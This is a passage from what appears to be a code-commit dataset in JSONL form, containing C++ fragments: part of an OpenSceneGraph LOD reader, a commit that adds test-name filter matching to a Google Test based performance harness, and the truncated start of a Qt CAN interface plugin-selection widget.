dynamic_cast<osg::Group*>(this);\n        if(group){\n            ((ive::Group*)(group))->read(in);\n        }\n        else\n            in_THROW_EXCEPTION(\"LOD::read(): Could not cast this osg::LOD to an osg::Group.\");\n        \/\/ Read LOD's properties\n\n                if ( in->getVersion() > VERSION_0002 )\n                    setRadius(in->readFloat());\n\n        \/\/ Read centermode and center\n        osg::LOD::CenterMode centerMode = (osg::LOD::CenterMode)in->readInt();\n        osg::Vec3 center = in->readVec3();\n        setCenter(center);\n        setCenterMode(centerMode);\n\n        if ( in->getVersion() > VERSION_0002 )\n            setRangeMode((RangeMode)in->readInt());\n\n        \/\/ Read rangelist\n        int size = in->readInt();;\n        for(int i=0;i<size;i++){\n            float min = in->readFloat();\n            float max = in->readFloat();\n            setRange(i, min, max);\n        }\n    }\n    else{\n        in_THROW_EXCEPTION(\"LOD::read(): Expected LOD identification.\");\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\r\n\r\n\/\/ C\r\n\r\n#include <stdint.h>\r\n\r\n\/\/ STL\r\n\r\n#include <chrono>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <map>\r\n#include <string>\r\n#include <vector>\r\n\r\n\/\/ utf8rewind\r\n\r\n#include \"utf8rewind.h\"\r\n\r\n\/\/ Google Test\r\n\r\n#include \"gtest\/internal\/gtest-port.h\"\r\n#include \"gtest\/gtest.h\"\r\n\r\nnamespace testing {\r\nnamespace internal {\r\n\r\n\textern bool ParseBoolFlag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tbool* value);\r\n\r\n\textern bool ParseInt32Flag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tInt32* value);\r\n\r\n\textern bool ParseStringFlag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tstd::string* value);\r\n\r\n};\r\n};\r\n\r\n\r\nnamespace performance {\r\n\r\n\tclass Suite\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual void setup() { }\r\n\t\tvirtual void body() = 0;\r\n\t\tvirtual void tearDown() { }\r\n\r\n\t};\r\n\r\n\tclass BaseSuiteFactory\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual Suite* create() = 0;\r\n\r\n\t};\r\n\r\n\ttemplate <class SuiteType>\r\n\tclass SuiteFactory\r\n\t\t: public BaseSuiteFactory\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual Suite* create() override { return new SuiteType(); }\r\n\r\n\t};\r\n\r\n\tclass Collection\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tstatic Collection& get()\r\n\t\t{\r\n\t\t\tstatic Collection instance;\r\n\t\t\treturn instance;\r\n\t\t}\r\n\r\n\t\tvoid addFactory(\r\n\t\t\tconst std::string& name,\r\n\t\t\tBaseSuiteFactory* factory)\r\n\t\t{\r\n\t\t\tm_factories.push_back(std::make_pair(name, factory));\r\n\t\t}\r\n\r\n\t\tint run(int argc, char** argv)\r\n\t\t{\r\n\t\t\tusing testing::internal::ParseBoolFlag;\r\n\t\t\tusing testing::internal::ParseInt32Flag;\r\n\t\t\tusing testing::internal::ParseStringFlag;\r\n\r\n\t\t\ttesting::internal::Int32 repeat_count = 100;\r\n\t\t\tbool display_individual = false;\r\n\t\t\tstd::string filter = \"*\";\r\n\t\t\tbool show_help = false;\r\n\r\n\t\t\tfor (int i = 1; i < argc; ++i)\r\n\t\t\t{\r\n\t\t\t\tstd::string arg_help = argv[i];\r\n\r\n\t\t\t\tif (arg_help == \"--help\" ||\r\n\t\t\t\t\targ_help == \"-h\" ||\r\n\t\t\t\t\targ_help == \"-?\" ||\r\n\t\t\t\t\targ_help == \"\/?\")\r\n\t\t\t\t{\r\n\t\t\t\t\tshow_help = true;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (!ParseInt32Flag(argv[i], \"repeat_count\", &repeat_count) &&\r\n\t\t\t\t\t!ParseBoolFlag(argv[i], \"display_individual\", &display_individual) &&\r\n\t\t\t\t\t!ParseStringFlag(argv[i], \"filter\", &filter))\r\n\t\t\t\t{\r\n\t\t\t\t\tshow_help = true;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif (show_help)\r\n\t\t\t{\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"repeat_count=[COUNT]\" << std::endl\r\n\t\t\t\t\t<< \"    How many times to repeat the performance tests. The default is \" << std::endl\r\n\t\t\t\t\t<< \"    100 times.\" << std::endl\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"display_invidual\" << std::endl\r\n\t\t\t\t\t<< \"    Display individual timings, instead of just the total time, worst,\" << std::endl\r\n\t\t\t\t\t<< \"    best and average case.\" << std::endl\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"filter=POSITIVE_PATTERNS[-NEGATIVE_PATTERNS]\" << std::endl\r\n\t\t\t\t\t<< \"    Run only the tests whose name matches one of the positive patterns but\" << std::endl\r\n\t\t\t\t\t<< \"    none of the negative patterns. '?' matches any single character; '*'\" << std::endl\r\n\t\t\t\t\t<< \"    matches any substring; ':' separates two patterns.\" << std::endl;\r\n\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\r\n\t\t\tstd::cout\r\n\t\t\t\t<< \"Running \" << repeat_count << \" iterations.\"\r\n\t\t\t\t<< std::endl;\r\n\r\n\t\t\ttypedef std::chrono::steady_clock clock;\r\n\t\t\ttypedef std::chrono::microseconds ms;\r\n\r\n\t\t\tclock::time_point time_start = clock::now();\r\n\r\n\t\t\ttypedef\r\n\t\t\t\tstd::vector<std::pair<std::string, BaseSuiteFactory*>>::iterator\r\n\t\t\t\tfactory_it;\r\n\r\n\t\t\tfor (factory_it it = m_factories.begin();\r\n\t\t\t\tit != m_factories.end();\r\n\t\t\t\t++it)\r\n\t\t\t{\r\n\t\t\t\tSuite* suite = it->second->create();\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"[\" << it->first << \"]\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::vector<uint32_t> timings;\r\n\r\n\t\t\t\tclock::time_point total_start = clock::now();\r\n\r\n\t\t\t\tsuite->setup();\r\n\r\n\t\t\t\tfor (size_t i = 0; i < repeat_count; ++i)\r\n\t\t\t\t{\r\n\t\t\t\t\tclock::time_point test_start = clock::now();\r\n\r\n\t\t\t\t\tsuite->body();\r\n\r\n\t\t\t\t\tuint32_t test_duration = (uint32_t)(\r\n\t\t\t\t\t\tstd::chrono::duration_cast<ms>(\r\n\t\t\t\t\t\t\tclock::now() - test_start\r\n\t\t\t\t\t\t)).count() \/ 1000;\r\n\r\n\t\t\t\t\tif (display_individual)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstd::cout\r\n\t\t\t\t\t\t\t<< std::setw(10) << i << \": \"\r\n\t\t\t\t\t\t\t<< std::setw(8) << test_duration << \" ms\"\r\n\t\t\t\t\t\t\t<< std::endl;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ttimings.push_back(test_duration);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tsuite->tearDown();\r\n\r\n\t\t\t\tuint32_t total_duration = (uint32_t)(\r\n\t\t\t\t\t\tstd::chrono::duration_cast<ms>(\r\n\t\t\t\t\t\t\tclock::now() - total_start\r\n\t\t\t\t\t\t)).count() \/ 1000;\r\n\r\n\t\t\t\tuint32_t worst_case = 0;\r\n\t\t\t\tuint32_t best_case = std::numeric_limits<uint32_t>::max();\r\n\t\t\t\tdouble average = 0.0;\r\n\r\n\t\t\t\tfor (std::vector<uint32_t>::iterator it = timings.begin();\r\n\t\t\t\t\tit != timings.end();\r\n\t\t\t\t\t++it)\r\n\t\t\t\t{\r\n\t\t\t\t\tworst_case = std::max(worst_case, *it);\r\n\t\t\t\t\tbest_case = std::min(best_case, *it);\r\n\t\t\t\t\taverage += (double)*it;\r\n\t\t\t\t}\r\n\r\n\t\t\t\taverage \/= (double)timings.size();\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"     Total: \"\r\n\t\t\t\t\t<< std::setw(8) << total_duration << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \" Best case: \"\r\n\t\t\t\t\t<< std::setw(8) << best_case << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"Worst case: \"\r\n\t\t\t\t\t<< std::setw(8) << worst_case << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"   Average: \"\r\n\t\t\t\t\t<< std::setw(8) << average << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout << std::endl;\r\n\t\t\t}\r\n\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\tprivate:\r\n\r\n\t\tstd::vector<std::pair<std::string, BaseSuiteFactory*>> m_factories;\r\n\r\n\t};\r\n\r\n\tinline bool registerTest(\r\n\t\tconst char* caseName,\r\n\t\tconst char* testName,\r\n\t\tBaseSuiteFactory* factory)\r\n\t{\r\n\t\tstd::string name = caseName;\r\n\t\tname += \".\";\r\n\t\tname += testName;\r\n\r\n\t\tCollection::get().addFactory(name, factory);\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n}\r\n\r\n#define PERF_RUN_ALL(_argc, _argv) \\\r\n\tperformance::Collection::get().run(_argc, _argv)\r\n\r\n#define PERF_TEST_CLASS_NAME(_caseName, _testName) \\\r\n\t_caseName ## _ ## _testName ## _Test\r\n\r\n#define PERF_TEST_IMPL(_caseName, _testName, _parentClass) \\\r\n\tclass PERF_TEST_CLASS_NAME(_caseName, _testName) \\\r\n\t\t: public _parentClass { \\\r\n\tprivate: \\\r\n\t\tvirtual void body() override; \\\r\n\t\tstatic bool m_registered; \\\r\n\t}; \\\r\n\tbool PERF_TEST_CLASS_NAME(_caseName, _testName)::m_registered = \\\r\n\t\tperformance::registerTest( \\\r\n\t\t\t#_caseName, #_testName, \\\r\n\t\t\tnew performance::SuiteFactory< \\\r\n\t\t\t\tPERF_TEST_CLASS_NAME(_caseName, _testName)>); \\\r\n\tvoid PERF_TEST_CLASS_NAME(_caseName, _testName)::body()\r\n\r\n#define PERF_TEST(_caseName, _testName) \\\r\n\tPERF_TEST_IMPL(_caseName, _testName, performance::Suite)\r\n\r\n#define PERF_TEST_F(_caseName, _testName) \\\r\n\tPERF_TEST_IMPL(_caseName, _testName, _caseName)<commit_msg>Add filter matching based on command line.<commit_after>#pragma once\r\n\r\n\/\/ C\r\n\r\n#include <stdint.h>\r\n\r\n\/\/ STL\r\n\r\n#include <chrono>\r\n#include <iomanip>\r\n#include <iostream>\r\n#include <map>\r\n#include <string>\r\n#include <vector>\r\n\r\n\/\/ utf8rewind\r\n\r\n#include \"utf8rewind.h\"\r\n\r\n\/\/ Google Test\r\n\r\n#include \"gtest\/internal\/gtest-port.h\"\r\n#include \"gtest\/gtest.h\"\r\n\r\nnamespace testing {\r\nnamespace internal {\r\n\r\n\textern bool ParseBoolFlag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tbool* value);\r\n\r\n\textern bool ParseInt32Flag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tInt32* value);\r\n\r\n\textern bool ParseStringFlag(\r\n\t\tconst char* str,\r\n\t\tconst char* flag,\r\n\t\tstd::string* value);\r\n\r\n\tstatic bool PatternMatchesString(\r\n\t\tconst char* pattern,\r\n\t\tconst char* text)\r\n\t{\r\n\t\tswitch (*pattern)\r\n\t\t{\r\n\t\t\tcase '\\0':\r\n\t\t\tcase ':':  \/\/ Either ':' or '\\0' marks the end of the pattern.\r\n\t\t\t\treturn *text == '\\0';\r\n\t\t\tcase '?':  \/\/ Matches any single character.\r\n\t\t\t\treturn\r\n\t\t\t\t\t*text != '\\0'\r\n\t\t\t\t\t&& PatternMatchesString(pattern + 1, text + 1);\r\n\t\t\tcase '*':  \/\/ Matches any string (possibly empty) of characters.\r\n\t\t\t\treturn (\r\n\t\t\t\t\t*text != '\\0' &&\r\n\t\t\t\t\tPatternMatchesString(pattern, text + 1)) ||\r\n\t\t\t\t\tPatternMatchesString(pattern + 1, text);\r\n\t\t\tdefault:  \/\/ Non-special character.  Matches itself.\r\n\t\t\t\treturn\r\n\t\t\t\t\t*pattern == *text &&\r\n\t\t\t\t\tPatternMatchesString(pattern + 1, text + 1);\r\n\t\t}\r\n\t}\r\n\r\n\tstatic bool MatchesFilter(\r\n\t\tconst std::string& name,\r\n\t\tconst std::string& filter)\r\n\t{\r\n\t\tconst char *cur_pattern = filter.c_str();\r\n\t\twhile (1)\r\n\t\t{\r\n\t\t\tif (PatternMatchesString(cur_pattern, name.c_str()))\r\n\t\t\t{\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\tcur_pattern = strchr(cur_pattern, ':');\r\n\t\t\tif (cur_pattern == NULL)\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\t\/\/ Skip the pattern separator (the ':' character).\r\n\t\t\tcur_pattern++;\r\n\t\t}\r\n\t}\r\n\r\n};\r\n};\r\n\r\n\r\nnamespace performance {\r\n\r\n\tclass Suite\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual void setup() { }\r\n\t\tvirtual void body() = 0;\r\n\t\tvirtual void tearDown() { }\r\n\r\n\t};\r\n\r\n\tclass BaseSuiteFactory\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual Suite* create() = 0;\r\n\r\n\t};\r\n\r\n\ttemplate <class SuiteType>\r\n\tclass SuiteFactory\r\n\t\t: public BaseSuiteFactory\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tvirtual Suite* create() override { return new SuiteType(); }\r\n\r\n\t};\r\n\r\n\tclass Collection\r\n\t{\r\n\r\n\tpublic:\r\n\r\n\t\tstatic Collection& get()\r\n\t\t{\r\n\t\t\tstatic Collection instance;\r\n\t\t\treturn instance;\r\n\t\t}\r\n\r\n\t\tvoid addFactory(\r\n\t\t\tconst std::string& name,\r\n\t\t\tBaseSuiteFactory* factory)\r\n\t\t{\r\n\t\t\tm_factories.push_back(std::make_pair(name, factory));\r\n\t\t}\r\n\r\n\t\tint run(int argc, char** argv)\r\n\t\t{\r\n\t\t\tusing testing::internal::ParseBoolFlag;\r\n\t\t\tusing testing::internal::ParseInt32Flag;\r\n\t\t\tusing testing::internal::ParseStringFlag;\r\n\r\n\t\t\ttesting::internal::Int32 repeat_count = 10;\r\n\t\t\tbool display_individual = false;\r\n\t\t\tstd::string filter = \"*\";\r\n\t\t\tbool show_help = false;\r\n\r\n\t\t\tfor (int i = 1; i < argc; ++i)\r\n\t\t\t{\r\n\t\t\t\tstd::string arg_help = argv[i];\r\n\r\n\t\t\t\tif (arg_help == \"--help\" ||\r\n\t\t\t\t\targ_help == \"-h\" ||\r\n\t\t\t\t\targ_help == \"-?\" ||\r\n\t\t\t\t\targ_help == \"\/?\")\r\n\t\t\t\t{\r\n\t\t\t\t\tshow_help = true;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tif (!ParseInt32Flag(argv[i], \"repeat_count\", &repeat_count) &&\r\n\t\t\t\t\t!ParseBoolFlag(argv[i], \"display_individual\", &display_individual) &&\r\n\t\t\t\t\t!ParseStringFlag(argv[i], \"filter\", &filter))\r\n\t\t\t\t{\r\n\t\t\t\t\tshow_help = true;\r\n\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tif (show_help)\r\n\t\t\t{\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"repeat_count=[COUNT]\" << std::endl\r\n\t\t\t\t\t<< \"    How many times to repeat the performance tests. The default is \" << std::endl\r\n\t\t\t\t\t<< \"    100 times.\" << std::endl\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"display_invidual\" << std::endl\r\n\t\t\t\t\t<< \"    Display individual timings, instead of just the total time, worst,\" << std::endl\r\n\t\t\t\t\t<< \"    best and average case.\" << std::endl\r\n\t\t\t\t\t<< \"--\" GTEST_FLAG_PREFIX_ \"filter=POSITIVE_PATTERNS[-NEGATIVE_PATTERNS]\" << std::endl\r\n\t\t\t\t\t<< \"    Run only the tests whose name matches one of the positive patterns but\" << std::endl\r\n\t\t\t\t\t<< \"    none of the negative patterns. '?' matches any single character; '*'\" << std::endl\r\n\t\t\t\t\t<< \"    matches any substring; ':' separates two patterns.\" << std::endl;\r\n\r\n\t\t\t\treturn 0;\r\n\t\t\t}\r\n\r\n\t\t\tif (filter != \"*\")\r\n\t\t\t{\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"NOTE: Filter is \\\"\" << filter << \"\\\"\"\r\n\t\t\t\t\t<< std::endl;\r\n\t\t\t}\r\n\r\n\t\t\tstd::string positive_filter;\r\n\t\t\tstd::string negative_filter;\r\n\t\t\tconst char* dash = strchr(filter.c_str(), '-');\r\n\t\t\tif (dash != nullptr)\r\n\t\t\t{\r\n\t\t\t\tpositive_filter = std::string(filter.c_str(), dash);\r\n\t\t\t\tif (positive_filter.empty())\r\n\t\t\t\t{\r\n\t\t\t\t\tpositive_filter = \"*\";\r\n\t\t\t\t}\r\n\t\t\t\tnegative_filter = std::string(dash + 1);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tpositive_filter = filter;\r\n\t\t\t}\r\n\r\n\t\t\tstd::cout\r\n\t\t\t\t<< \"Running \" << repeat_count << \" iterations.\"\r\n\t\t\t\t<< std::endl;\r\n\r\n\t\t\ttypedef std::chrono::steady_clock clock;\r\n\t\t\ttypedef std::chrono::microseconds ms;\r\n\r\n\t\t\tclock::time_point time_start = clock::now();\r\n\r\n\t\t\ttypedef\r\n\t\t\t\tstd::vector<std::pair<std::string, BaseSuiteFactory*>>::iterator\r\n\t\t\t\tfactory_it;\r\n\r\n\t\t\tfor (factory_it it = m_factories.begin();\r\n\t\t\t\tit != m_factories.end();\r\n\t\t\t\t++it)\r\n\t\t\t{\r\n\t\t\t\tusing testing::internal::MatchesFilter;\r\n\r\n\t\t\t\tSuite* suite = it->second->create();\r\n\r\n\t\t\t\tif (!MatchesFilter(it->first, positive_filter) ||\r\n\t\t\t\t\tMatchesFilter(it->first, negative_filter))\r\n\t\t\t\t{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"[\" << it->first << \"]\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::vector<uint32_t> timings;\r\n\r\n\t\t\t\tclock::time_point total_start = clock::now();\r\n\r\n\t\t\t\tsuite->setup();\r\n\r\n\t\t\t\tfor (size_t i = 0; i < repeat_count; ++i)\r\n\t\t\t\t{\r\n\t\t\t\t\tclock::time_point test_start = clock::now();\r\n\r\n\t\t\t\t\tsuite->body();\r\n\r\n\t\t\t\t\tuint32_t test_duration = (uint32_t)(\r\n\t\t\t\t\t\tstd::chrono::duration_cast<ms>(\r\n\t\t\t\t\t\t\tclock::now() - test_start\r\n\t\t\t\t\t\t)).count() \/ 1000;\r\n\r\n\t\t\t\t\tif (display_individual)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tstd::cout\r\n\t\t\t\t\t\t\t<< std::setw(10) << i << \": \"\r\n\t\t\t\t\t\t\t<< std::setw(8) << test_duration << \" ms\"\r\n\t\t\t\t\t\t\t<< std::endl;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\ttimings.push_back(test_duration);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tsuite->tearDown();\r\n\r\n\t\t\t\tuint32_t total_duration = (uint32_t)(\r\n\t\t\t\t\t\tstd::chrono::duration_cast<ms>(\r\n\t\t\t\t\t\t\tclock::now() - total_start\r\n\t\t\t\t\t\t)).count() \/ 1000;\r\n\r\n\t\t\t\tuint32_t worst_case = 0;\r\n\t\t\t\tuint32_t best_case = std::numeric_limits<uint32_t>::max();\r\n\t\t\t\tdouble average = 0.0;\r\n\r\n\t\t\t\tfor (std::vector<uint32_t>::iterator it = timings.begin();\r\n\t\t\t\t\tit != timings.end();\r\n\t\t\t\t\t++it)\r\n\t\t\t\t{\r\n\t\t\t\t\tworst_case = std::max(worst_case, *it);\r\n\t\t\t\t\tbest_case = std::min(best_case, *it);\r\n\t\t\t\t\taverage += (double)*it;\r\n\t\t\t\t}\r\n\r\n\t\t\t\taverage \/= (double)timings.size();\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"     Total: \"\r\n\t\t\t\t\t<< std::setw(8) << total_duration << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \" Best case: \"\r\n\t\t\t\t\t<< std::setw(8) << best_case << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"Worst case: \"\r\n\t\t\t\t\t<< std::setw(8) << worst_case << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout\r\n\t\t\t\t\t<< \"   Average: \"\r\n\t\t\t\t\t<< std::setw(8) << average << \" ms\"\r\n\t\t\t\t\t<< std::endl;\r\n\r\n\t\t\t\tstd::cout << std::endl;\r\n\t\t\t}\r\n\r\n\t\t\treturn 0;\r\n\t\t}\r\n\r\n\tprivate:\r\n\r\n\t\tstd::vector<std::pair<std::string, BaseSuiteFactory*>> m_factories;\r\n\r\n\t};\r\n\r\n\tinline bool registerTest(\r\n\t\tconst char* caseName,\r\n\t\tconst char* testName,\r\n\t\tBaseSuiteFactory* factory)\r\n\t{\r\n\t\tstd::string name = caseName;\r\n\t\tname += \".\";\r\n\t\tname += testName;\r\n\r\n\t\tCollection::get().addFactory(name, factory);\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n}\r\n\r\n#define PERF_RUN_ALL(_argc, _argv) \\\r\n\tperformance::Collection::get().run(_argc, _argv)\r\n\r\n#define PERF_TEST_CLASS_NAME(_caseName, _testName) \\\r\n\t_caseName ## _ ## _testName ## _Test\r\n\r\n#define PERF_TEST_IMPL(_caseName, _testName, _parentClass) \\\r\n\tclass PERF_TEST_CLASS_NAME(_caseName, _testName) \\\r\n\t\t: public _parentClass { \\\r\n\tprivate: \\\r\n\t\tvirtual void body() override; \\\r\n\t\tstatic bool m_registered; \\\r\n\t}; \\\r\n\tbool PERF_TEST_CLASS_NAME(_caseName, _testName)::m_registered = \\\r\n\t\tperformance::registerTest( \\\r\n\t\t\t#_caseName, #_testName, \\\r\n\t\t\tnew performance::SuiteFactory< \\\r\n\t\t\t\tPERF_TEST_CLASS_NAME(_caseName, _testName)>); \\\r\n\tvoid PERF_TEST_CLASS_NAME(_caseName, _testName)::body()\r\n\r\n#define PERF_TEST(_caseName, _testName) \\\r\n\tPERF_TEST_IMPL(_caseName, _testName, performance::Suite)\r\n\r\n#define PERF_TEST_F(_caseName, _testName) \\\r\n\tPERF_TEST_IMPL(_caseName, _testName, _caseName)<|endoftext|>"}
{"text":"<commit_before>#include \"qcan_interface_widget.hpp\"\n\n#include <QDebug>\n#include <QPainter>\n#include <QPaintEvent>\n#include <QPalette>\n\n#include <QMessageBox>\n#include <QDir>\n#include <QMenu>\n#include <QPluginLoader>\n#include <QPoint>\n\n\n\/*----------------------------------------------------------------------------*\\\n** Class methods                                                              **\n**                                                                            **\n\\*----------------------------------------------------------------------------*\/\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget()                                                      \/\/\n\/\/ constructor                                                                \/\/\n\/\/----------------------------------------------------------------------------\/\/\nQCanInterfaceWidget::QCanInterfaceWidget()\n : QWidget()\n{\n   clIconP = QIcon(\":images\/network-icon.png\");\n   pclQCanInterfaceP = NULL;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget::mousePressEvent()                                     \/\/\n\/\/ handle mouse press events on window areas                                  \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::mousePressEvent(QMouseEvent * pclEventV)\n{\n   QList<QAction *> apclListActionsT;\n   QAction * pclActionT;\n   QPoint pos(this->mapFromParent(QCursor::pos()));\n   QMenu clContextMenuT(tr(\"CAN interface selection\"), this);\n\n   \/\/----------------------------------------------------------------\n   \/\/ check there are any plugins available\n   \/\/\n   if (!loadPlugin())\n   {\n       QMessageBox::information(this, \"ERROR\", \"Could not load the any plugins!\");\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ create context menu with all available plugins\n   \/\/\n   pclActionT = new QAction(\"Virtual\", this);\n   pclActionT->setIcon(QIcon(\":images\/network-icon.png\"));\n   apclListActionsT.append(pclActionT);\n   clContextMenuT.addAction(apclListActionsT.at(0));\n\n   quint32 ulCntrT = 0;\n   while (ulCntrT < aclPluginNameListP.count())\n   {\n      pclActionT = new QAction(aclPluginNameListP.at(ulCntrT), this);\n      pclActionT->setIcon(aclIconListP.at(ulCntrT));\n      apclListActionsT.append(pclActionT);\n      clContextMenuT.addAction(apclListActionsT.at(ulCntrT+1));\n      ulCntrT++;\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ evaluate click operation\n   \/\/\n   switch(pclEventV->button())\n   {\n      case Qt::LeftButton:\n\n         qDebug() << \"Left button pressed\";\n         \/\/-----------------------------------------------------\n         \/\/ show context menu\n         \/\/\n         pclActionT = clContextMenuT.exec(pos);\n\n         \/\/-----------------------------------------------------\n         \/\/ evaluate selection\n         \/\/\n         if (pclActionT != 0)\n         {\n            qint32 slIdxT = aclPluginNameListP.indexOf(pclActionT->text());\n            qDebug() << \"mousePressEvent(): select index ...\" << slIdxT;\n\n            pclQCanInterfaceP = NULL;\n            if (slIdxT > 0)\n            {\n               QPluginLoader clPluginLoaderT(aclPluginListP.at(slIdxT));\n               QObject *pclPluginT = clPluginLoaderT.instance();\n               if (pclPluginT)\n               {\n                   pclQCanInterfaceP = qobject_cast<QCanInterface *>(pclPluginT);\n               }\n            }\n\n            emit interfaceChanged(pclQCanInterfaceP);\n         } else\n         {\n            qDebug() << \"mousePressEvent(): no index selected\";\n         }\n         break;\n\n      case Qt::RightButton:\n         qDebug() << \"Right button pressed\";\n\n         break;\n\n      default:\n\n         break;\n   }\n   clicked(0);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ loadPlugin()                                                               \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nbool QCanInterfaceWidget::loadPlugin()\n{\n   QCanInterface *pclQCanIfT;\n\n   qInfo() << \"loadPlugin(): used plugin path\" << clPluginPathP.absolutePath();\n\n   \/\/----------------------------------------------------------------\n   \/\/ check plugin path\n   \/\/\n   if (!clPluginPathP.exists())\n   {\n      qWarning() << \"loadPlugin(): plugin path does not exist!\";\n      return false;\n   }\n\n   \/\/----------------------------------------------------------------\n   \/\/ check plugins and create a list with valid plugins\n   \/\/\n   aclPluginNameListP.clear();\n   aclPluginListP.clear();\n   aclIconListP.clear();\n   foreach (QString clFileNameT, clPluginPathP.entryList(QDir::Files))\n   {\n      if (QLibrary::isLibrary(clPluginPathP.absoluteFilePath(clFileNameT)))\n      {\n         QPluginLoader clPluginLoaderT(clPluginPathP.absoluteFilePath(clFileNameT));\n         QObject *pclPluginT = clPluginLoaderT.instance();\n         if (pclPluginT)\n         {\n            pclQCanIfT = qobject_cast<QCanInterface *>(pclPluginT);\n            if (pclQCanIfT)\n            {\n               qInfo() << \"loadPlugin(): found\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"plugin.\";\n\n               \/\/-------------------------------------\n               \/\/ collect all information of valid plugin\n               \/\/ \\todo Get the PluginName and Icon\n               \/\/\n               aclPluginNameListP.append(pclQCanIfT->name());\n               aclIconListP.append(pclQCanIfT->icon());\n               aclPluginListP.append(clPluginPathP.absoluteFilePath(clFileNameT));\n            }\n         } else\n         {\n            qWarning() << \"loadPlugin(): plugin\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"could NOT be loaded or the root component object could NOT be instantiated!\";\n         }\n      } else\n      {\n         qWarning() << \"loadPlugin(): plugin\" << clPluginPathP.absoluteFilePath(clFileNameT) << \"is NOT a library!\";\n      }\n   }\n\n   if (aclPluginNameListP.isEmpty())\n   {\n      qWarning() << \"loadPlugin(): NONE plugins have been found!\";\n      return false;\n   }\n\n   qInfo() << \"loadPlugin(): found\" << QString::number(aclPluginNameListP.count(),10) << \"available plugins.\";\n\n   return true;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ QCanInterfaceWidget::paintEvent()                                          \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid QCanInterfaceWidget::paintEvent(QPaintEvent * pclEventV)\n{\n   qDebug() << \"Paint\" << pclEventV->rect();\n\n   QPalette clPaletteT(this->palette());\n   QPainter clPainterT(this);\n   QBrush brush = QBrush(Qt::transparent, Qt::NoBrush);\n   qDebug() << \"Brush\" << brush;\n   clPainterT.setPen((Qt::white));\n   clPainterT.setBrush(brush);\n   \/\/clPainterT.eraseRect(pclEventV->rect());\n   clPainterT.fillRect(pclEventV->rect(), QColor(0xE3, 0xE3, 0xE3)); 